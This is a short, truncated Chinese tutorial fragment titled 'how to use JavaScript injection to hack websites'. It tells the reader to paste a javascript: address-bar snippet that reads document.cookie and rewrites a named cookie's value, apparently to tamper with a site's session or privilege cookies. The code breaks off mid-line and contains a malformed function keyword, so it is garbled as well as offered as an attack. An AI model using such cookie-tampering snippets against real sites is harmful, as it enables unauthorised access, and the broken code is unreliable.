如何利用Javascript注入来入侵网站

制它们到地址栏: [code]javascript:alert(window.c=functiona(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,((c.indexOf(";")-1)?c.indexOf(";") :c.length));nc=unescape(c).replace(v,nv);docu